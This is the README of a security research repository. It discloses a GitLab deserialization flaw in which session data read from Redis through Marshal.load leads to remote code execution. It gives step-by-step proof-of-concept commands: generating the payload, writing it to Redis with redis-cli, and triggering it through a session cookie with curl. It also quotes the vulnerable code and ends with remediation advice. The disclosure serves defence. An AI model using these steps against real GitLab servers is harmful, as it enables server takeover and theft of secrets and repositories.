Skip to content

CsEnox/Gitlab-Redis-Deserialization-RCE

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 

Repository files navigation

GitLab RCE via Redis: Unsafe Marshal.load in Session Deserialization

If the Redis server used by a GitLab instance is compromised in any way, the GitLab instance itself can be fully compromised through insecure deserialization vulnerabilities in how GitLab handles session data.

GitLab uses Ruby's Marshal.load — a known-dangerous deserialization primitive — on data read directly from Redis, with no integrity verification. An attacker who gains write access to Redis (through misconfiguration, network access, SSRF, or any other means) can write a crafted payload that executes arbitrary code when GitLab deserializes it.

Two independent code paths are affected, both present in GitLab CE and EE.

Tested on: GitLab CE 18.8.4 (Omnibus Docker)

TL;DR

Attacker writes malicious Marshal payload to Redis
    → GitLab reads it back via Marshal.load
    → Arbitrary code execution as the `git` user (Puma/Sidekiq)
    → Full server compromise (secrets.yml, database, all repositories)

Disclosure: This vulnerability was reported to GitLab via HackerOne and was closed as Informational. Their assessment was that the pre-requisite of Redis access reduces exploitability. However, the default Omnibus installation ships Redis without authentication, and multiple deployment configurations (HA, Kubernetes) expose Redis over the network by design. I disagree with this assessment and am publishing this research so the community can evaluate the risk independently. If you share this concern, consider reporting it to GitLab — broader visibility may help prioritize a fix.

Why Redis Access = Game Over

In default Omnibus installations, Redis:

  • Listens on 127.0.0.1:6379 with no authentication
  • Is accessible via Unix socket at /var/opt/gitlab/redis/redis.socket
  • In HA deployments, listens on a network interface for Sentinel replication
  • In Kubernetes Helm chart deployments, is accessible at gitlab-redis-master:6379 from any pod in the namespace

Redis is a cache/transport layer — it is not a trust boundary. Yet GitLab implicitly trusts that data in Redis has not been tampered with by calling Marshal.load on it without any signature or integrity check.

The Gadget Chain

The exploit uses an ActiveRecord::Associations::AssociationGem::InstallerGem::Package::TarReaderNet::BufferedIOLoggerRack::ResponseSprockets::ERBProcessor gadget chain. During deserialization, the chain triggers Sprockets' ERB template processing, which evaluates attacker-controlled ERB containing a system() call.

The payload generator (generate_payload.rb) must be run inside the GitLab container via gitlab-rails runner since it depends on Rails gems.

Proof of Concept

1. Start GitLab

docker run -d --name gitlab-ce -p 8080:80 gitlab/gitlab-ce:latest
# Wait for GitLab to fully start (~2-3 minutes)

2. Generate the payload

docker cp generate_payload.rb gitlab-ce:/tmp/generate_payload.rb
docker exec gitlab-ce gitlab-rails runner /tmp/generate_payload.rb "id > /tmp/pwned"

3. Write payload to Redis

docker exec gitlab-ce bash -c 'cat /tmp/rce_payload.bin | redis-cli -s /var/opt/gitlab/redis/redis.socket -x SET "session:gitlab:EVIL"'
# Output: OK

4. Trigger deserialization

curl -s -o /dev/null -w "%{http_code}" -b '_gitlab_session=EVIL' http://localhost:8080/
# Output: 500

5. Verify RCE

docker exec gitlab-ce cat /tmp/pwned
# Output:
# uid=998(git) gid=998(git) groups=998(git)

The command executed as the git user — the same user that runs Puma and Sidekiq, with access to secrets.yml, the database, and all repositories.


Vulnerability 1: Rack Session Store (CacheStoreCoder)

Severity: Critical File: lib/gitlab/sessions/cache_store_coder.rb Trigger: Every authenticated HTTP request

Vulnerable Code

# lib/gitlab/sessions/cache_store_coder.rb
module Gitlab
  module Sessions
    module CacheStoreCoder
      extend self
      include ActiveSupport::Cache::SerializerWithFallback[:marshal_7_1]

      def load(payload)
        unmarshalled = super  # ← Marshal.load on data from Redis
        return unmarshalled if unmarshalled.is_a?(ActiveSupport::Cache::Entry)
        ActiveSupport::Cache::Entry.new(unmarshalled)
      end
    end
  end
end

This coder is configured as the session store in lib/gitlab/sessions/store_builder.rb:

coder: Gitlab::Sessions::CacheStoreCoder

SerializerWithFallback[:marshal_7_1] has a backward-compatibility fallback: if the data doesn't match the marshal_7_1 signature (\x00\x04\x08), it falls back to raw Marshal.load. This means any arbitrary bytes written to the session key will be deserialized.

Redis Key Format

session:gitlab:{PRIVATE_SESSION_ID}

Where PRIVATE_SESSION_ID = SHA256(public_session_id). The public session ID is the value of the _gitlab_session cookie, so an attacker can compute their own private ID trivially.

Exploitation

  1. Attacker reads their _gitlab_session cookie value
  2. Computes private_id = SHA256(cookie_value)
  3. Writes the Marshal RCE payload to Redis: SET "session:gitlab:{private_id}" <payload>
  4. Refreshes any GitLab page
  5. CacheStoreCoder.loadMarshal.loadRCE

Why This Is Critical

  • Triggered on every authenticated request — not a rare code path
  • Attacker targets their own session — no need to guess or brute-force another user's session ID
  • The trigger is instant and reliable — just refresh the page

Vulnerability 2: ActiveSession Legacy Fallback

Severity: High File: app/models/active_session.rb (load_raw_session method) Trigger: Session listing, session cleanup, admin panel

Vulnerable Code

# app/models/active_session.rb — load_raw_session
if raw_session.start_with?('v2:')
  session_data = Gitlab::Json.safe_parse(raw_session[3..]).symbolize_keys
  session_data.slice!(*ATTR_ACCESSOR_LIST.union(ATTR_READER_LIST))
  new(**session_data)
else
  # Deprecated legacy format. To be removed in 15.0
  session_data = ActiveSupport::Cache::SerializerWithFallback[:marshal_7_1].load(raw_session)
  session_data.is_a?(ActiveSupport::Cache::Entry) ? session_data.value : session_data
end

If the data does not start with v2:, it hits the legacy fallback which calls Marshal.load. The comment says "To be removed in 15.0" — but it is still present.

Redis Key Format

session:user:gitlab:{USER_ID}:{SESSION_ID}

Exploitation

  1. Attacker writes a Marshal payload to session:user:gitlab:{USER_ID}:{SESSION_ID} (payload must not start with v2:)
  2. GitLab loads active sessions (user visits session list, admin views sessions, or cleanup cron runs)
  3. load_raw_session hits the legacy fallback → Marshal.loadRCE

Root Cause

Both vulnerabilities share the same root cause: Marshal.load on data from Redis without integrity verification. Redis is a transport layer, not a trust boundary. Any actor that can write to Redis can achieve arbitrary code execution on the GitLab application server.

Remediation

  • CacheStoreCoder: Replace marshal_7_1 with a JSON-based coder. Session data is a hash of simple types (_csrf_token, warden.user.user.key, etc.) — Marshal is unnecessary.
  • ActiveSession: Remove the legacy Marshal fallback entirely. Sessions in the old format should be discarded — users simply re-authenticate.
  • Defense in depth: Enable Redis authentication (requirepass) in all deployment configurations, including single-node Omnibus. Restrict Redis network access to only the services that need it.

About

Gitlab Deserialisation RCE through Redis Compromise

Resources

Stars

11 stars

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages